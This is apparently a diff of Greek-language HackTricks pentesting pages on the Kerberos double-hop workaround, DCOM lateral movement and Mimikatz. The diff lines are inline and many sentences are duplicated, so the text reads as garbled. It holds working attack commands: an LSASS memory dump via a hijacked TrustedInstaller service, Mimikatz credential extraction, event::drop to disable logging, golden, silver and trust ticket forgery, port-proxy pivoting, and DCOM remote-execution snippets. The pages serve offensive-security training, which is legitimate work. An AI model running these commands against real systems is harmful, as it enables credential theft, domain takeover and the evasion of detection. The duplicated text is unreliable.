Για να αντιμετωπιστεί το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που περιλαμβάνει ένα εσωτερικό `Invoke-Command`. Αυτό δεν λύνει το πρόβλημα άμεσα αλλά προσφέρει μια λύση χωρίς να απαιτούνται ειδικές ρυθμίσεις. Η προσέγγιση επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε έναν δευτερεύοντα διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική επιτιθέμενη μηχανή ή μέσω μιας προηγουμένως καθορισμένης PS-Session με τον πρώτο διακομιστή. Να πώς γίνεται:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
Εναλλακτικά, η δημιουργία μιας συνεδρίας PS με τον πρώτο διακομιστή και την εκτέλεση της `Invoke-Command` χρησιμοποιώντας το `$cred` προτείνεται για την κεντρική διαχείριση των εργασιών.
Εναλλακτικά, προτείνεται η δημιουργία μιας PS-Session με τον πρώτο διακομιστή και η εκτέλεση του `Invoke-Command` χρησιμοποιώντας το `$cred` για την κεντρικοποίηση των εργασιών.
### Καταχώρηση Ρύθμισης PSSession
### Εγγραφή Ρυθμίσεων PSSession
Μια λύση για την παράκαμψη του προβλήματος του διπλού hop περιλαμβάνει τη χρήση του `Register-PSSessionConfiguration` με το `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υποφέρει από τον περιορισμό του διπλού hop.
Μια λύση για την παράκαμψη του προβλήματος διπλού άλματος περιλαμβάνει τη χρήση του `Register-PSSessionConfiguration` με το `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υποφέρει από τον περιορισμό του διπλού άλματος.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### Προώθηση Θύρας
### PortForwarding
Για τους τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θύρας επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί μια κανόνα για την προώθηση θύρας, σε συνδυασμό με έναν κανόνα του τοίχου προστασίας των Windows για να επιτραπεί η προώθηση της θύρας.
Για τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θυρών επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί ένας κανόνας για την προώθηση θυρών, μαζί με έναν κανόνα τείχους προστασίας των Windows για να επιτραπεί η προωθημένη θύρα.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
Το `winrs.exe` μπορεί να χρησιμοποιηθεί για την προώθηση αιτημάτων WinRM, πιθανώς ως μια λιγότερο ανιχνεύσιμη επιλογή εάν υπάρχει ανησυχία για την παρακολούθηση του PowerShell. Η παρακάτω εντολή δείχνει τον τρόπο χρήσης του:
`winrs.exe` μπορεί να χρησιμοποιηθεί για την προώθηση αιτημάτων WinRM, ενδεχομένως ως μια λιγότερο ανιχνεύσιμη επιλογή αν η παρακολούθηση PowerShell είναι ανησυχία. Η παρακάτω εντολή δείχνει τη χρήση του:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια παράκαμψη για το πρόβλημα του διπλού άλματος, ιδιαίτερα χρήσιμη για σενάρια jump box. Αυτή η μέθοδος απαιτεί εγκατάσταση και ρύθμιση του OpenSSH για τα Windows μέσω της γραμμής εντολών. Όταν ρυθμιστεί για Επαλήθευση Κωδικού, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να λάβει ένα TGT εκ μέρους του χρήστη.
Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια λύση για το πρόβλημα του double-hop, ιδιαίτερα χρήσιμη για σενάρια jump box. Αυτή η μέθοδος απαιτεί εγκατάσταση και ρύθμιση του OpenSSH για Windows μέσω CLI. Όταν ρυθμιστεί για Αυθεντικοποίηση με Κωδικό, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να αποκτήσει ένα TGT εκ μέρους του χρήστη.
#### Βήματα Εγκατάστασης OpenSSH
1. Λήψη και μεταφορά του τελευταίου zip κυκλοφορίας του OpenSSH στον στόχο διακομιστή.
2. Αποσυμπίεση και εκτέλεση του σεναρίου `Install-sshd.ps1`.
3. Προσθήκη κανόνα του τοίχου προστασίας για το άνοιγμα της θύρας 22 και επαλήθευση ότι οι υπηρεσίες SSH λειτουργούν.
1. Κατεβάστε και μεταφέρετε το τελευταίο zip του OpenSSH στον στόχο διακομιστή.
2. Αποσυμπιέστε και εκτελέστε το σενάριο `Install-sshd.ps1`.
3. Προσθέστε έναν κανόνα τείχους προστασίας για να ανοίξετε την πόρτα 22 και επαληθεύστε ότι οι υπηρεσίες SSH εκτελούνται.
Για την επίλυση σφαλμάτων `Επαναφοράς σύνδεσης`, ενδέχεται να χρειαστεί να ενημερωθούν οι άδειες πρόσβασης για να επιτραπεί σε όλους την ανάγνωση και εκτέλεση στον κατάλογο του OpenSSH.
Για να επιλυθούν τα σφάλματα `Connection reset`, οι άδειες ενδέχεται να χρειαστεί να ενημερωθούν ώστε να επιτρέπουν σε όλους την πρόσβαση για ανάγνωση και εκτέλεση στον κατάλογο του OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -106,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στο** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **και** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,7 +25,7 @@
## MMC20.Application
**Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική ελέγξτε την αρχική ανάρτηση από [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
**Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική, ελέγξτε την αρχική ανάρτηση από [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Τα αντικείμενα του Distributed Component Object Model (DCOM) προσφέρουν μια ενδιαφέρουσα δυνατότητα για αλληλεπιδράσεις με αντικείμενα μέσω δικτύου. Η Microsoft παρέχει εκτενή τεκμηρίωση τόσο για το DCOM όσο και για το Component Object Model (COM), προσβάσιμη [εδώ για το DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) και [εδώ για το COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Μια λίστα εφαρμογών DCOM μπορεί να ανακτηθεί χρησιμοποιώντας την εντολή PowerShell:
```bash
@ -70,9 +73,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
```
### Lateral Movement with Excel DCOM Objects
Η πλευρική κίνηση μπορεί να επιτευχθεί εκμεταλλευόμενη τα αντικείμενα DCOM Excel. Για λεπτομερείς πληροφορίες, είναι σκόπιμο να διαβάσετε τη συζήτηση σχετικά με την εκμετάλλευση του Excel DDE για πλευρική κίνηση μέσω DCOM στο [blog της Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Η πλευρική κίνηση μπορεί να επιτευχθεί εκμεταλλευόμενη τα αντικείμενα DCOM Excel. Για λεπτομερείς πληροφορίες, είναι σκόπιμο να διαβάσετε τη συζήτηση σχετικά με την εκμετάλλευση του Excel DDE για πλευρική κίνηση μέσω DCOM στο [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Το έργο Empire παρέχει ένα σενάριο PowerShell, το οποίο δείχνει τη χρήση του Excel για απομακρυσμένη εκτέλεση κώδικα (RCE) μέσω της χειραγώγησης αντικειμένων DCOM. Παρακάτω παρατίθενται αποσπάσματα από το σενάριο που είναι διαθέσιμο στο [GitHub repository του Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), που παρουσιάζουν διάφορες μεθόδους για την κακή χρήση του Excel για RCE:
Το έργο Empire παρέχει ένα σενάριο PowerShell, το οποίο δείχνει τη χρήση του Excel για απομακρυσμένη εκτέλεση κώδικα (RCE) μέσω της χειραγώγησης αντικειμένων DCOM. Παρακάτω παρατίθενται αποσπάσματα από το σενάριο που είναι διαθέσιμο στο [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), που παρουσιάζουν διάφορες μεθόδους για την κακή χρήση του Excel για RCE:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {

View file

@ -1,78 +1,81 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Αυτή η σελίδα βασίζεται σε μια από το [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Ελέγξτε το πρωτότυπο για περαιτέρω πληροφορίες!
**Αυτή η σελίδα βασίζεται σε μία από το [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Ελέγξτε την πρωτότυπη για περισσότερες πληροφορίες!
## LM και κείμενο σε μνήμη
## LM και Καθαρό Κείμενο στη μνήμη
Από τα Windows 8.1 και τα Windows Server 2012 R2 και μετά, έχουν ληφθεί σημαντικά μέτρα για την προστασία από την κλοπή διαπιστευτηρίων:
Από τα Windows 8.1 και Windows Server 2012 R2 και μετά, έχουν εφαρμοστεί σημαντικά μέτρα για την προστασία από την κλοπή διαπιστευτηρίων:
- Οι **κατακερματισμένες LM και οι κωδικοί πρόσβασης σε καθαρό κείμενο** δεν αποθηκεύονται πλέον στη μνήμη για να ενισχυθεί η ασφάλεια. Πρέπει να ρυθμιστεί μια συγκεκριμένη ρύθμιση του μητρώου, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, με μια τιμή DWORD `0` για να απενεργοποιηθεί η διάσπαση των κωδικών πρόσβασης, εξασφαλίζοντας ότι οι κωδικοί "καθαρού κειμένου" δεν αποθηκεύονται στην προσωπική υπηρεσία αυθεντικοποίησης (LSASS).
- **LM hashes και κωδικοί πρόσβασης σε καθαρό κείμενο** δεν αποθηκεύονται πλέον στη μνήμη για την ενίσχυση της ασφάλειας. Μια συγκεκριμένη ρύθμιση μητρώου, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ πρέπει να ρυθμιστεί με τιμή DWORD `0` για να απενεργοποιηθεί η Αυθεντικοποίηση Digest, διασφαλίζοντας ότι οι κωδικοί πρόσβασης σε "καθαρό κείμενο" δεν αποθηκεύονται στη μνήμη LSASS.
- Η **προστασία LSA** εισάγεται για να προστατεύσει τη διαδικασία της Τοπικής Αρχής Ασφαλείας (LSA) από μη εξουσιοδοτημένη ανάγνωση μνήμης και εισαγωγή κώδικα. Αυτό επιτυγχάνεται με τον σήμανση του LSASS ως προστατευμένη διαδικασία. Η ενεργοποίηση της προστασίας LSA περιλαμβάνει:
1. Τροποποίηση του μητρώου στο _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ με την ρύθμιση `RunAsPPL` σε `dword:00000001`.
2. Εφαρμογή ενός αντικειμένου ομάδας πολιτικής (GPO) που επιβάλλει αυτήν την αλλαγή του μητρώου σε όλες τις διαχειριζόμενες συσκευές.
- **Η Προστασία LSA** εισάγεται για να προστατεύσει τη διαδικασία της Τοπικής Αρχής Ασφαλείας (LSA) από μη εξουσιοδοτημένη ανάγνωση μνήμης και έγχυση κώδικα. Αυτό επιτυγχάνεται με την επισήμανση της LSASS ως προστατευμένη διαδικασία. Η ενεργοποίηση της Προστασίας LSA περιλαμβάνει:
1. Τροποποίηση του μητρώου στο _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ ρυθμίζοντας το `RunAsPPL` σε `dword:00000001`.
2. Υλοποίηση ενός Αντικειμένου Πολιτικής Ομάδας (GPO) που επιβάλλει αυτή την αλλαγή μητρώου σε διαχειριζόμενες συσκευές.
Παρά τις προστασίες αυτές, εργαλεία όπως το Mimikatz μπορούν να παρακάμψουν την προστασία LSA χρησιμοποιώντας συγκεκριμένους οδηγούς, αν και τέτοιες ενέργειες πιθανόν να καταγράφονται στα αρχεία καταγραφής συμβάντων.
Παρά αυτές τις προστασίες, εργαλεία όπως το Mimikatz μπορούν να παρακάμψουν την Προστασία LSA χρησιμοποιώντας συγκεκριμένους οδηγούς, αν και τέτοιες ενέργειες είναι πιθανό να καταγραφούν στα αρχεία καταγραφής γεγονότων.
### Αντιμετώπιση της αφαίρεσης του SeDebugPrivilege
### Αντεπίθεση Αφαίρεσης SeDebugPrivilege
Οι διαχειριστές συνήθως έχουν το SeDebugPrivilege, που τους επιτρέπει να εντοπίζουν σφάλματα σε προγράμματα. Αυτό το προνόμιο μπορεί να περιοριστεί για να αποτραπούν μη εξουσιοδοτημένες αντιγραφές μνήμης, μια συνηθισμένη τεχνική που χρησιμοποιούν οι επιτιθέμενοι για να αντλήσουν διαπιστευτήρια από τη μνήμη. Ωστόσο, ακόμα και με αυτό το προνόμιο αφαιρεμένο, ο λογαριασμός TrustedInstaller μπορεί ακόμα να εκτελέσει αντιγραφές μνήμης χρησιμοποιώντας μια προσαρμοσμένη διαμόρφωση υπηρεσίας:
Οι διαχειριστές συνήθως έχουν SeDebugPrivilege, επιτρέποντάς τους να αποσφαλματώνουν προγράμματα. Αυτό το προνόμιο μπορεί να περιοριστεί για να αποτραπούν μη εξουσιοδοτημένες εκφορτώσεις μνήμης, μια κοινή τεχνική που χρησιμοποιούν οι επιτιθέμενοι για να εξάγουν διαπιστευτήρια από τη μνήμη. Ωστόσο, ακόμη και με αυτό το προνόμιο αφαιρεμένο, ο λογαριασμός TrustedInstaller μπορεί να εκτελεί εκφορτώσεις μνήμης χρησιμοποιώντας μια προσαρμοσμένη ρύθμιση υπηρεσίας:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Αυτό επιτρέπει την αποθήκευση της μνήμης του `lsass.exe` σε ένα αρχείο, το οποίο μπορεί στη συνέχεια να αναλυθεί σε ένα άλλο σύστημα για την εξαγωγή διαπιστευτηρίων:
Αυτό επιτρέπει την εξαγωγή της μνήμης `lsass.exe` σε ένα αρχείο, το οποίο μπορεί στη συνέχεια να αναλυθεί σε άλλο σύστημα για την εξαγωγή διαπιστευτηρίων:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Επιλογές του Mimikatz
## Mimikatz Options
Η παραπληροφόρηση των αρχείων καταγραφής συμβάντων στο Mimikatz περιλαμβάνει δύο κύριες ενέργειες: τη διαγραφή των αρχείων καταγραφής συμβάντων και την τροποποίηση της υπηρεσίας Συμβάντων για να αποτραπεί η καταγραφή νέων συμβάντων. Παρακάτω παρατίθενται οι εντολές για την εκτέλεση αυτών των ενεργειών:
Η παραχάραξη των καταγραφών συμβάντων στο Mimikatz περιλαμβάνει δύο κύριες ενέργειες: την εκκαθάριση των καταγραφών συμβάντων και την επιδιόρθωση της υπηρεσίας Event για να αποτραπεί η καταγραφή νέων συμβάντων. Παρακάτω είναι οι εντολές για την εκτέλεση αυτών των ενεργειών:
#### Διαγραφή των αρχείων καταγραφής συμβάντων
#### Clearing Event Logs
- **Εντολή**: Αυτή η ενέργεια αποσκοπεί στη διαγραφή των αρχείων καταγραφής συμβάντων, καθιστώντας πιο δύσκολη την ανίχνευση κακόβουλων δραστηριοτήτων.
- Το Mimikatz δεν παρέχει μια άμεση εντολή στην τυπική τεκμηρίωσή του για τη διαγραφή των αρχείων καταγραφής συμβάντων απευθείας μέσω της γραμμής εντολών του. Ωστόσο, η παραπληροφόρηση των αρχείων καταγραφής συνήθως περιλαμβάνει τη χρήση εργαλείων συστήματος ή σεναρίων εκτός του Mimikatz για τη διαγραφή συγκεκριμένων αρχείων καταγραφής (π.χ. χρησιμοποιώντας το PowerShell ή τον Προβολέα Συμβάντων των Windows).
- **Command**: Αυτή η ενέργεια στοχεύει στη διαγραφή των καταγραφών συμβάντων, καθιστώντας πιο δύσκολη την παρακολούθηση κακόβουλων δραστηριοτήτων.
- Το Mimikatz δεν παρέχει άμεση εντολή στην τυπική του τεκμηρίωση για την εκκαθάριση των καταγραφών συμβάντων απευθείας μέσω της γραμμής εντολών του. Ωστόσο, η παραχάραξη των καταγραφών συμβάντων συνήθως περιλαμβάνει τη χρήση εργαλείων συστήματος ή σεναρίων εκτός του Mimikatz για την εκκαθάριση συγκεκριμένων καταγραφών (π.χ., χρησιμοποιώντας PowerShell ή Windows Event Viewer).
#### Πειραματική δυνατότητα: Τροποποίηση της υπηρεσίας Συμβάντων
#### Experimental Feature: Patching the Event Service
- **Εντολή**: `event::drop`
- Αυτή η πειραματική εντολή έχει σχεδιαστεί για να τροποποιήσει τη συμπεριφορά της υπηρεσίας καταγραφής συμβάντων, αποτρέποντας αποτελεσματικά την καταγραφή νέων συμβάντων.
- Παράδειγμα: `mimikatz "privilege::debug" "event::drop" exit`
- **Command**: `event::drop`
- Αυτή η πειραματική εντολή έχει σχεδιαστεί για να τροποποιεί τη συμπεριφορά της Υπηρεσίας Καταγραφής Συμβάντων, αποτρέποντας αποτελεσματικά την καταγραφή νέων συμβάντων.
- Example: `mimikatz "privilege::debug" "event::drop" exit`
- Η εντολή `privilege::debug` εξασφαλίζει ότι το Mimikatz λειτουργεί με τα απαραίτητα προνόμια για την τροποποίηση των υπηρεσιών του συστήματος.
- Η εντολή `event::drop` τροποποιεί την υπηρεσία καταγραφής συμβάντων.
- Η εντολή `privilege::debug` διασφαλίζει ότι το Mimikatz λειτουργεί με τα απαραίτητα δικαιώματα για να τροποποιήσει τις υπηρεσίες του συστήματος.
- Η εντολή `event::drop` στη συνέχεια επιδιορθώνει την υπηρεσία Καταγραφής Συμβάντων.
### Επιθέσεις σε εισιτήρια Kerberos
### Kerberos Ticket Attacks
### Δημιουργία Χρυσού Εισιτηρίου
### Golden Ticket Creation
Ένα Χρυσό Εισιτήριο επιτρέπει την παραπληροφόρηση πρόσβασης σε όλο τον τομέα. Κύρια εντολή και παράμετροι:
Ένα Golden Ticket επιτρέπει την πρόσβαση σε επίπεδο τομέα μέσω της μίμησης. Κύρια εντολή και παράμετροι:
- Εντολή: `kerberos::golden`
- Παράμετροι:
- `/domain`: Το όνομα του τομέα.
- `/sid`: Ο αναγνωριστικός αριθμός ασφαλείας (SID) του τομέα.
- `/user`: Το όνομα χρήστη που θα παραπληροφορηθεί.
- `/krbtgt`: Το NTLM hash του λογαριασμού υπηρεσίας KDC του τομέα.
- `/ptt`: Ενσωματώνει απευθείας το εισιτήριο στη μνήμη.
- `/ticket`: Αποθηκεύει το εισιτήριο για μεταγενέστερη χρήση.
- Command: `kerberos::golden`
- Parameters:
- `/domain`: Το όνομα τομέα.
- `/sid`: Ο Αναγνωριστικός Αριθμός Ασφαλείας (SID) του τομέα.
- `/user`: Το όνομα χρήστη που θα μιμηθεί.
- `/krbtgt`: Ο NTLM hash του λογαριασμού υπηρεσίας KDC του τομέα.
- `/ptt`: Εισάγει απευθείας το εισιτήριο στη μνήμη.
- `/ticket`: Αποθηκεύει το εισιτήριο για μελλοντική χρήση.
Παράδειγμα:
Example:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
@ -82,126 +85,131 @@ mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-1234567
- Εντολή: Παρόμοια με το Golden Ticket αλλά στοχεύει σε συγκεκριμένες υπηρεσίες.
- Παράμετροι:
- `/service`: Η υπηρεσία που στοχεύεται (π.χ., cifs, http).
- `/service`: Η υπηρεσία που στοχεύει (π.χ., cifs, http).
- Άλλες παράμετροι παρόμοιες με το Golden Ticket.
Παράδειγμα:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Δημιουργία εισιτηρίου εμπιστοσύνης
### Δημιουργία Εισιτηρίου Εμπιστοσύνης
Τα εισιτήρια εμπιστοσύνης χρησιμοποιούνται για την πρόσβαση σε πόρους από διαφορετικούς τομείς εκμεταλλευόμενοι τις σχέσεις εμπιστοσύνης. Κύρια εντολή και παράμετροι:
Τα Εισιτήρια Εμπιστοσύνης χρησιμοποιούνται για την πρόσβαση σε πόρους σε διάφορους τομείς εκμεταλλευόμενα τις σχέσεις εμπιστοσύνης. Κύρια εντολή και παράμετροι:
- Εντολή: Παρόμοια με το Golden Ticket αλλά για τις σχέσεις εμπιστοσύνης.
- Εντολή: Παρόμοια με το Golden Ticket αλλά για σχέσεις εμπιστοσύνης.
- Παράμετροι:
- `/target`: Το πλήρες όνομα του τομέα προορισμού.
- `/target`: Το FQDN του στόχου τομέα.
- `/rc4`: Το NTLM hash για τον λογαριασμό εμπιστοσύνης.
Παράδειγμα:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Επιπλέον Εντολές Kerberos
### Additional Kerberos Commands
- **Λίστα Εισιτηρίων**:
- Εντολή: `kerberos::list`
